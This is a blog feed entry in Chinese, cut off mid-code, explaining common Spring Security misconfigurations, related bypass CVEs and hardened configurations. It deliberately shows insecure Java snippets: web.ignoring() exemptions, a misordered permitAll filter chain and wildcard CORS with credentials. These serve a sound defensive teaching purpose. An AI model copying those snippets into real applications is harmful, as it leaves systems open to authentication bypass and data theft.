<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://djiangliu.github.io/atom.xml" rel="self" type="application/atom+xml" /><link href="https://djiangliu.github.io/" rel="alternate" type="text/html" /><updated>2026-05-14T09:30:55+00:00</updated><id>https://djiangliu.github.io/atom.xml</id><title type="html">Capable</title><subtitle>人生若只如初见，何事悲风秋画扇。</subtitle><author><name>江流</name></author><entry><title type="html"></title><link href="https://djiangliu.github.io/2026/05/14/2026-05-08-Spring-Security%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5/" rel="alternate" type="text/html" title="" /><published>2026-05-14T09:30:55+00:00</published><updated>2026-05-14T09:30:55+00:00</updated><id>https://djiangliu.github.io/2026/05/14/2026-05-08-Spring%20Security%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5</id><content type="html" xml:base="https://djiangliu.github.io/2026/05/14/2026-05-08-Spring-Security%E5%AE%89%E5%85%A8%E9%85%8D%E7%BD%AE%E4%B8%8E%E9%98%B2%E6%8A%A4%E5%AE%9E%E8%B7%B5/"><![CDATA[<h1 id="spring-security-安全配置与防护实践">Spring Security 安全配置与防护实践</h1>

<p>Spring Security 是 Java 生态中最强大的安全框架，但其 “约定大于配置” 的理念也意味着误配置的高发。本文从攻击者视角梳理 8 大常见误配置，并给出生产级修复方案。</p>

<blockquote>
  <p>本文是 <a href="/2026/05/07/java-web-auth-overview/">Java Web 认证授权安全系列</a> 的第二篇。概览篇提供了框架识别、CVE 版本速查和审计脚本。</p>
</blockquote>

<hr />

<h2 id="21-最致命的误配置webignoring--permitall">2.1 最致命的误配置：<code class="language-plaintext highlighter-rouge">web.ignoring()</code> ≠ <code class="language-plaintext highlighter-rouge">permitAll()</code></h2>

<p>这是代码审计中最常发现的高危问题。两者的行为完全不同：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 危险：web.ignoring() 将路径完全移出安全过滤器链</span>
<span class="c1">// 该路径上所有安全机制（认证、授权、CSRF、Session 管理等）全部失效</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">WebSecurityCustomizer</span> <span class="nf">webSecurityCustomizer</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">return</span> <span class="n">web</span> <span class="o">-&gt;</span> <span class="n">web</span><span class="o">.</span><span class="na">ignoring</span><span class="o">()</span>
        <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">,</span> <span class="s">"/actuator/health"</span><span class="o">);</span>
<span class="o">}</span>

<span class="c1">// ✅ 正确：permitAll() 仅跳过认证，仍保留 CSRF、Session 等安全机制</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">filterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="n">http</span><span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">auth</span> <span class="o">-&gt;</span> <span class="n">auth</span>
        <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">).</span><span class="na">permitAll</span><span class="o">()</span>
        <span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">authenticated</span><span class="o">()</span>
    <span class="o">);</span>
    <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>关键区别</strong>：</p>

<table>
  <thead>
    <tr>
      <th>特性</th>
      <th style="text-align: center"><code class="language-plaintext highlighter-rouge">web.ignoring()</code></th>
      <th style="text-align: center"><code class="language-plaintext highlighter-rouge">permitAll()</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>认证检查</td>
      <td style="text-align: center">跳过</td>
      <td style="text-align: center">跳过</td>
    </tr>
    <tr>
      <td>授权检查</td>
      <td style="text-align: center">跳过</td>
      <td style="text-align: center">跳过</td>
    </tr>
    <tr>
      <td>CSRF 防护</td>
      <td style="text-align: center"><strong>跳过</strong></td>
      <td style="text-align: center">保留</td>
    </tr>
    <tr>
      <td>Session 管理</td>
      <td style="text-align: center"><strong>跳过</strong></td>
      <td style="text-align: center">保留</td>
    </tr>
    <tr>
      <td>SecurityContext</td>
      <td style="text-align: center"><strong>不存在</strong></td>
      <td style="text-align: center">匿名用户</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@PreAuthorize</code></td>
      <td style="text-align: center"><strong>不生效</strong></td>
      <td style="text-align: center">生效</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>真实案例</strong>：某金融系统使用 <code class="language-plaintext highlighter-rouge">web.ignoring()</code> 放行了 <code class="language-plaintext highlighter-rouge">/api/internal/**</code> 路径，攻击者发现后直接访问 <code class="language-plaintext highlighter-rouge">/api/internal/admin/users</code> 获取了所有用户数据——该路径上的 <code class="language-plaintext highlighter-rouge">@PreAuthorize("hasRole('ADMIN')")</code> 完全被无视。</p>
</blockquote>

<hr />

<h2 id="22-过滤器链顺序与多重安全配置">2.2 过滤器链顺序与多重安全配置</h2>

<p>Spring Boot 中如果有多个 <code class="language-plaintext highlighter-rouge">SecurityFilterChain</code> Bean，它们按 <code class="language-plaintext highlighter-rouge">@Order</code> 顺序匹配，<strong>第一个匹配的链生效</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 危险：宽泛的匹配优先于精细匹配</span>
<span class="nd">@Bean</span>
<span class="nd">@Order</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">apiFilterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="n">http</span><span class="o">.</span><span class="na">securityMatcher</span><span class="o">(</span><span class="s">"/api/**"</span><span class="o">)</span>  <span class="c1">// 匹配所有 /api/</span>
        <span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">auth</span> <span class="o">-&gt;</span> <span class="n">auth</span><span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">permitAll</span><span class="o">());</span>
    <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>

<span class="nd">@Bean</span>
<span class="nd">@Order</span><span class="o">(</span><span class="mi">2</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">adminFilterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="n">http</span><span class="o">.</span><span class="na">securityMatcher</span><span class="o">(</span><span class="s">"/api/admin/**"</span><span class="o">)</span>  <span class="c1">// 永远不会生效！</span>
        <span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">auth</span> <span class="o">-&gt;</span> <span class="n">auth</span><span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"ADMIN"</span><span class="o">));</span>
    <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>修复</strong>：将精细匹配放在前面，或使用单一过滤器链配合 <code class="language-plaintext highlighter-rouge">requestMatchers()</code> 细粒度控制。</p>

<hr />

<h2 id="23-方法级安全preauthorize-失效场景">2.3 方法级安全：<code class="language-plaintext highlighter-rouge">@PreAuthorize</code> 失效场景</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 如果忘记启用方法级安全，所有 @PreAuthorize 注解都会被忽略！</span>

<span class="c1">// Spring Security 6.x 需要：</span>
<span class="nd">@EnableMethodSecurity</span>  <span class="c1">// ← 新 API</span>

<span class="c1">// Spring Security 5.x 需要：</span>
<span class="nd">@EnableGlobalMethodSecurity</span><span class="o">(</span><span class="n">prePostEnabled</span> <span class="o">=</span> <span class="kc">true</span><span class="o">)</span>  <span class="c1">// ← 旧 API</span>

<span class="c1">// 两者功能等价，但注解名不同。如果 @PreAuthorize 生效了但你没找到</span>
<span class="c1">// @EnableMethodSecurity，去搜索 @EnableGlobalMethodSecurity —</span>
<span class="c1">// 它可能藏在父配置类、其他模块、或 XML 里。</span>
</code></pre></div></div>

<p><strong>排查命令</strong>：</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 搜索所有可能启用方法安全的注解</span>
<span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"EnableMethodSecurity</span><span class="se">\|</span><span class="s2">EnableGlobalMethodSecurity</span><span class="se">\|</span><span class="s2">global-method-security"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.java"</span> <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.xml"</span> <span class="nb">.</span>
</code></pre></div></div>

<p><strong>隐式开启的情况</strong>：</p>

<table>
  <thead>
    <tr>
      <th>场景</th>
      <th>注解在哪</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>你的 <code class="language-plaintext highlighter-rouge">SecurityConfig</code> 继承了某父类</td>
      <td>父类上有 <code class="language-plaintext highlighter-rouge">@EnableGlobalMethodSecurity</code></td>
    </tr>
    <tr>
      <td>多模块项目</td>
      <td>在 <code class="language-plaintext highlighter-rouge">common</code> 或 <code class="language-plaintext highlighter-rouge">base</code> 模块的配置里</td>
    </tr>
    <tr>
      <td>XML 配置</td>
      <td><code class="language-plaintext highlighter-rouge">&lt;global-method-security pre-post-annotations="enabled"/&gt;</code></td>
    </tr>
    <tr>
      <td>第三方 Starter</td>
      <td>公司内部封装的 <code class="language-plaintext highlighter-rouge">xxx-spring-boot-starter</code> 自动配置</td>
    </tr>
  </tbody>
</table>

<p><strong>参数化类型注解丢失（CVE-2025-22223）</strong>：Spring Security 6.4.0 ~ 6.4.3 中，如果注解写在参数化父类/接口上而非目标方法上，授权检查可能被绕过。修复：升级到 6.4.4+，或将注解直接放在目标方法上。</p>

<hr />

<h2 id="24-bcrypt-认证陷阱cve-2025-22228">2.4 BCrypt 认证陷阱（CVE-2025-22228）</h2>

<p>Spring Security 的 <code class="language-plaintext highlighter-rouge">BCryptPasswordEncoder.matches()</code> 在 6.3.8 / 6.4.4 之前只比较密码的前 <strong>72 个字符</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 以下两个密码在 BCrypt 眼中是"相同"的（前72字符一致）</span>
<span class="nc">String</span> <span class="n">pass1</span> <span class="o">=</span> <span class="s">"a"</span><span class="o">.</span><span class="na">repeat</span><span class="o">(</span><span class="mi">72</span><span class="o">)</span> <span class="o">+</span> <span class="s">"rest_of_password_1"</span><span class="o">;</span>
<span class="nc">String</span> <span class="n">pass2</span> <span class="o">=</span> <span class="s">"a"</span><span class="o">.</span><span class="na">repeat</span><span class="o">(</span><span class="mi">72</span><span class="o">)</span> <span class="o">+</span> <span class="s">"rest_of_password_2"</span><span class="o">;</span>
<span class="c1">// BCryptPasswordEncoder.matches() 会错误地返回 true！</span>
</code></pre></div></div>

<p><strong>修复</strong>：升级到 spring-security-crypto 6.3.8+ / 6.4.4+，或在应用层限制密码最大长度。</p>

<hr />

<h2 id="25-actuator-端点暴露与认证绕过">2.5 Actuator 端点暴露与认证绕过</h2>

<p>Spring Boot Actuator 暴露后极其危险。更糟糕的是，配置不当可能导致认证绕过：</p>

<p><strong>CVE-2025-22235（CVSS 7.3）</strong>：当 Actuator 端点被禁用后，<code class="language-plaintext highlighter-rouge">EndpointRequest.to()</code> 会错误匹配 <code class="language-plaintext highlighter-rouge">/null/**</code> 路径，导致原本受保护的路径被绕过。</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 危险（Spring Security &lt; 修复版本）</span>
<span class="n">http</span><span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">auth</span> <span class="o">-&gt;</span> <span class="n">auth</span>
    <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="nc">EndpointRequest</span><span class="o">.</span><span class="na">to</span><span class="o">(</span><span class="nc">HealthEndpoint</span><span class="o">.</span><span class="na">class</span><span class="o">)).</span><span class="na">permitAll</span><span class="o">()</span>
    <span class="c1">// 如果 HealthEndpoint 被禁用，这会匹配 /null/** → 放行大量路径</span>
    <span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">authenticated</span><span class="o">()</span>
<span class="o">);</span>
</code></pre></div></div>

<p><strong>CVE-2026-22733</strong>：应用端点挂载在 <code class="language-plaintext highlighter-rouge">/cloudfoundryapplication/</code> 路径下时，认证可能被绕过。</p>

<p><strong>防御</strong>：</p>
<ul>
  <li>不将 Actuator 暴露在公网</li>
  <li>为 Actuator 单独设置端口：<code class="language-plaintext highlighter-rouge">management.server.port=8081</code></li>
  <li>始终为 Actuator 端点配置认证</li>
  <li>升级到最新版本</li>
</ul>

<hr />

<h2 id="26-cors-误配置">2.6 CORS 误配置</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 危险：允许所有来源</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">CorsConfigurationSource</span> <span class="nf">corsConfigurationSource</span><span class="o">()</span> <span class="o">{</span>
    <span class="nc">CorsConfiguration</span> <span class="n">config</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CorsConfiguration</span><span class="o">();</span>
    <span class="n">config</span><span class="o">.</span><span class="na">setAllowedOrigins</span><span class="o">(</span><span class="nc">Arrays</span><span class="o">.</span><span class="na">asList</span><span class="o">(</span><span class="s">"*"</span><span class="o">));</span>       <span class="c1">// 允许任意来源</span>
    <span class="n">config</span><span class="o">.</span><span class="na">setAllowedMethods</span><span class="o">(</span><span class="nc">Arrays</span><span class="o">.</span><span class="na">asList</span><span class="o">(</span><span class="s">"*"</span><span class="o">));</span>       <span class="c1">// 允许任意方法</span>
    <span class="n">config</span><span class="o">.</span><span class="na">setAllowCredentials</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>                   <span class="c1">// 允许携带凭证</span>
    <span class="k">return</span> <span class="k">new</span> <span class="nf">UrlBasedCorsConfigurationSource</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>正确做法</strong>：白名单模式，明确指定允许的来源和方法。</p>

<hr />

<h2 id="27-spring-security-加固速查">2.7 Spring Security 加固速查</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Configuration</span>
<span class="nd">@EnableWebSecurity</span>
<span class="nd">@EnableMethodSecurity</span>  <span class="c1">// 必须显式启用</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SecurityConfig</span> <span class="o">{</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">filterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="n">http</span>
            <span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">auth</span> <span class="o">-&gt;</span> <span class="n">auth</span>
                <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="nc">HttpMethod</span><span class="o">.</span><span class="na">OPTIONS</span><span class="o">,</span> <span class="s">"/**"</span><span class="o">).</span><span class="na">permitAll</span><span class="o">()</span>
                <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">).</span><span class="na">permitAll</span><span class="o">()</span>
                <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/api/admin/**"</span><span class="o">).</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"ADMIN"</span><span class="o">)</span>
                <span class="o">.</span><span class="na">requestMatchers</span><span class="o">(</span><span class="s">"/actuator/**"</span><span class="o">).</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"MONITORING"</span><span class="o">)</span>
                <span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">authenticated</span><span class="o">()</span>
            <span class="o">)</span>
            <span class="o">.</span><span class="na">requiresChannel</span><span class="o">(</span><span class="n">channel</span> <span class="o">-&gt;</span> <span class="n">channel</span><span class="o">.</span><span class="na">anyRequest</span><span class="o">().</span><span class="na">requiresSecure</span><span class="o">())</span>
            <span class="o">.</span><span class="na">formLogin</span><span class="o">(</span><span class="n">form</span> <span class="o">-&gt;</span> <span class="n">form</span><span class="o">.</span><span class="na">defaultSuccessUrl</span><span class="o">(</span><span class="s">"/"</span><span class="o">))</span>
            <span class="o">.</span><span class="na">sessionManagement</span><span class="o">(</span><span class="n">session</span> <span class="o">-&gt;</span> <span class="n">session</span>
                <span class="o">.</span><span class="na">sessionFixation</span><span class="o">().</span><span class="na">migrateSession</span><span class="o">()</span>
                <span class="o">.</span><span class="na">maximumSessions</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span>
                <span class="o">.</span><span class="na">maxSessionsPreventsLogin</span><span class="o">(</span><span class="kc">false</span><span class="o">)</span>
            <span class="o">)</span>
            <span class="o">.</span><span class="na">headers</span><span class="o">(</span><span class="n">headers</span> <span class="o">-&gt;</span> <span class="n">headers</span>
                <span class="o">.</span><span class="na">xssProtection</span><span class="o">(</span><span class="n">xss</span> <span class="o">-&gt;</span> <span class="n">xss</span><span class="o">.</span><span class="na">headerValue</span><span class="o">(</span><span class="nc">XXssProtectionHeaderWriter</span>
                    <span class="o">.</span><span class="na">HeaderValue</span><span class="o">.</span><span class="na">ENABLED_MODE_BLOCK</span><span class="o">))</span>
                <span class="o">.</span><span class="na">contentSecurityPolicy</span><span class="o">(</span><span class="n">csp</span> <span class="o">-&gt;</span> <span class="n">csp</span>
                    <span class="o">.</span><span class="na">policyDirectives</span><span class="o">(</span><span class="s">"default-src 'self'"</span><span class="o">))</span>
            <span class="o">);</span>

        <span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="nd">@Bean</span>
    <span class="kd">public</span> <span class="nc">PasswordEncoder</span> <span class="nf">passwordEncoder</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nf">BCryptPasswordEncoder</span><span class="o">(</span><span class="mi">12</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># application.yml - Actuator 独立端口</span>
<span class="na">management</span><span class="pi">:</span>
  <span class="na">server</span><span class="pi">:</span>
    <span class="na">port</span><span class="pi">:</span> <span class="m">8081</span>
  <span class="na">endpoints</span><span class="pi">:</span>
    <span class="na">web</span><span class="pi">:</span>
      <span class="na">exposure</span><span class="pi">:</span>
        <span class="na">include</span><span class="pi">:</span> <span class="s2">"</span><span class="s">health,info"</span>
</code></pre></div></div>

<hr />

<h2 id="28-方法级鉴权详解preauthorize-权限模型">2.8 方法级鉴权详解：<code class="language-plaintext highlighter-rouge">@PreAuthorize</code> 权限模型</h2>

<h3 id="281-hasrole-vs-hasauthority-vs-haspermission">2.8.1 <code class="language-plaintext highlighter-rouge">hasRole()</code> vs <code class="language-plaintext highlighter-rouge">hasAuthority()</code> vs <code class="language-plaintext highlighter-rouge">hasPermission()</code></h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ① hasRole("ADMIN") — 自动加前缀 ROLE_</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"hasRole('ADMIN')"</span><span class="o">)</span>

<span class="c1">// ② hasAuthority('circle:admin:list') — 精确匹配</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"hasAuthority('circle:admin:list')"</span><span class="o">)</span>

<span class="c1">// ③ hasPermission(target, permission) — 需自定义 PermissionEvaluator</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"hasPermission(#orderId, 'ORDER', 'READ')"</span><span class="o">)</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>注解</th>
      <th style="text-align: center">前缀处理</th>
      <th>粒度</th>
      <th>使用场景</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasRole('ADMIN')</code></td>
      <td style="text-align: center">自动加 <code class="language-plaintext highlighter-rouge">ROLE_</code> 前缀</td>
      <td>粗粒度</td>
      <td>角色级别</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasAuthority('perm')</code></td>
      <td style="text-align: center"><strong>不做任何处理</strong></td>
      <td>中粒度</td>
      <td>权限字符串级别</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasPermission(...)</code></td>
      <td style="text-align: center">需实现 <code class="language-plaintext highlighter-rouge">PermissionEvaluator</code></td>
      <td>细粒度</td>
      <td>资源实例级别</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>最常见的坑</strong>：误用 <code class="language-plaintext highlighter-rouge">hasRole('circle:admin:list')</code> 期望匹配权限字符串，实际会被转成 <code class="language-plaintext highlighter-rouge">ROLE_circle:admin:list</code>，永远匹配不上。</p>
</blockquote>

<h3 id="282-权限命名规范moduleresourceaction">2.8.2 权限命名规范（<code class="language-plaintext highlighter-rouge">module:resource:action</code>）</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>circle : admin : list
  │        │       │
 模块    资源    操作
</code></pre></div></div>

<h3 id="283-完整实现链路db--userdetailsservice--preauthorize">2.8.3 完整实现链路：DB → UserDetailsService → @PreAuthorize</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Service</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">UserDetailsServiceImpl</span> <span class="kd">implements</span> <span class="nc">UserDetailsService</span> <span class="o">{</span>
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">UserDetails</span> <span class="nf">loadUserByUsername</span><span class="o">(</span><span class="nc">String</span> <span class="n">username</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">User</span> <span class="n">user</span> <span class="o">=</span> <span class="n">userMapper</span><span class="o">.</span><span class="na">findByUsername</span><span class="o">(</span><span class="n">username</span><span class="o">);</span>
        <span class="nc">List</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">permissions</span> <span class="o">=</span> <span class="n">permissionMapper</span><span class="o">.</span><span class="na">findByUserId</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getId</span><span class="o">());</span>
        
        <span class="nc">List</span><span class="o">&lt;</span><span class="nc">SimpleGrantedAuthority</span><span class="o">&gt;</span> <span class="n">authorities</span> <span class="o">=</span> <span class="n">permissions</span><span class="o">.</span><span class="na">stream</span><span class="o">()</span>
            <span class="o">.</span><span class="na">map</span><span class="o">(</span><span class="nl">SimpleGrantedAuthority:</span><span class="o">:</span><span class="k">new</span><span class="o">)</span>  <span class="c1">// ← 不做任何前缀处理</span>
            <span class="o">.</span><span class="na">collect</span><span class="o">(</span><span class="nc">Collectors</span><span class="o">.</span><span class="na">toList</span><span class="o">());</span>
        
        <span class="k">return</span> <span class="k">new</span> <span class="nf">User</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getUsername</span><span class="o">(),</span> <span class="n">user</span><span class="o">.</span><span class="na">getPassword</span><span class="o">(),</span>
            <span class="n">user</span><span class="o">.</span><span class="na">getEnabled</span><span class="o">(),</span> <span class="kc">true</span><span class="o">,</span> <span class="kc">true</span><span class="o">,</span> <span class="kc">true</span><span class="o">,</span> <span class="n">authorities</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Controller 中使用</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"hasAuthority('circle:admin:list')"</span><span class="o">)</span>
<span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/list"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">CommonResult</span><span class="o">&lt;</span><span class="nc">CommonPage</span><span class="o">&lt;</span><span class="nc">SystemAdminResponse</span><span class="o">&gt;&gt;</span> <span class="nf">getList</span><span class="o">(...)</span> <span class="o">{</span> <span class="o">}</span>

<span class="c1">// SpEL 组合条件</span>
<span class="nd">@PreAuthorize</span><span class="o">(</span><span class="s">"hasAuthority('circle:admin:add') or hasAuthority('circle:super:add')"</span><span class="o">)</span>
<span class="nd">@PostMapping</span><span class="o">(</span><span class="s">"/add"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">CommonResult</span><span class="o">&lt;</span><span class="nc">Void</span><span class="o">&gt;</span> <span class="nf">addAdmin</span><span class="o">(...)</span> <span class="o">{</span> <span class="o">}</span>
</code></pre></div></div>

<h3 id="284-自定义-permissionevaluator资源级鉴权">2.8.4 自定义 PermissionEvaluator（资源级鉴权）</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Component</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">CustomPermissionEvaluator</span> <span class="kd">implements</span> <span class="nc">PermissionEvaluator</span> <span class="o">{</span>
    <span class="nd">@Autowired</span> <span class="kd">private</span> <span class="nc">OrderService</span> <span class="n">orderService</span><span class="o">;</span>
    
    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">hasPermission</span><span class="o">(</span><span class="nc">Authentication</span> <span class="n">auth</span><span class="o">,</span> <span class="nc">Object</span> <span class="n">targetId</span><span class="o">,</span>
                                  <span class="nc">Object</span> <span class="n">targetType</span><span class="o">,</span> <span class="nc">Object</span> <span class="n">permission</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Long</span> <span class="n">orderId</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Long</span><span class="o">)</span> <span class="n">targetId</span><span class="o">;</span>
        <span class="nc">String</span> <span class="n">username</span> <span class="o">=</span> <span class="n">auth</span><span class="o">.</span><span class="na">getName</span><span class="o">();</span>
        <span class="nc">Long</span> <span class="n">userId</span> <span class="o">=</span> <span class="n">userService</span><span class="o">.</span><span class="na">getUserId</span><span class="o">(</span><span class="n">username</span><span class="o">);</span>
        <span class="nc">Order</span> <span class="n">order</span> <span class="o">=</span> <span class="n">orderService</span><span class="o">.</span><span class="na">findById</span><span class="o">(</span><span class="n">orderId</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">order</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">order</span><span class="o">.</span><span class="na">getUserId</span><span class="o">().</span><span class="na">equals</span><span class="o">(</span><span class="n">userId</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h3 id="285-常见失效场景">2.8.5 常见失效场景</h3>

<table>
  <thead>
    <tr>
      <th>失效场景</th>
      <th>原因</th>
      <th>修复</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>注解不生效</td>
      <td>SS 6.x 缺 <code class="language-plaintext highlighter-rouge">@EnableMethodSecurity</code>；SS 5.x 缺 <code class="language-plaintext highlighter-rouge">@EnableGlobalMethodSecurity(prePostEnabled=true)</code></td>
      <td>检查版本，加对应注解</td>
    </tr>
    <tr>
      <td>你搜不到注解但它生效了</td>
      <td>在父类、XML、其他模块或 Starter 里隐式开启了</td>
      <td><code class="language-plaintext highlighter-rouge">grep -rn "EnableMethod\|EnableGlobal"</code> 全局搜索</td>
    </tr>
    <tr>
      <td>内部调用失效</td>
      <td>Spring AOP 代理不拦截 self-invocation</td>
      <td>拆分 Bean 或用 <code class="language-plaintext highlighter-rouge">AopContext.currentProxy()</code></td>
    </tr>
    <tr>
      <td>参数化类型丢失</td>
      <td>SS 6.4.0-6.4.3 Bug (CVE-2025-22223)</td>
      <td>升级 6.4.4+</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">hasRole("perm")</code> 匹配不上</td>
      <td>自动加 <code class="language-plaintext highlighter-rouge">ROLE_</code> 前缀</td>
      <td>改用 <code class="language-plaintext highlighter-rouge">hasAuthority("perm")</code></td>
    </tr>
    <tr>
      <td>异步方法丢失 SecurityContext</td>
      <td>线程切换</td>
      <td><code class="language-plaintext highlighter-rouge">MODE_INHERITABLETHREADLOCAL</code></td>
    </tr>
  </tbody>
</table>

<h3 id="286-url-层--方法层分层防御">2.8.6 URL 层 + 方法层分层防御</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// URL 层：粗粒度角色检查</span>
<span class="n">http</span><span class="o">.</span><span class="na">authorizeHttpRequests</span><span class="o">(</span><span class="n">auth</span> <span class="o">-&gt;</span> <span class="n">auth</span>
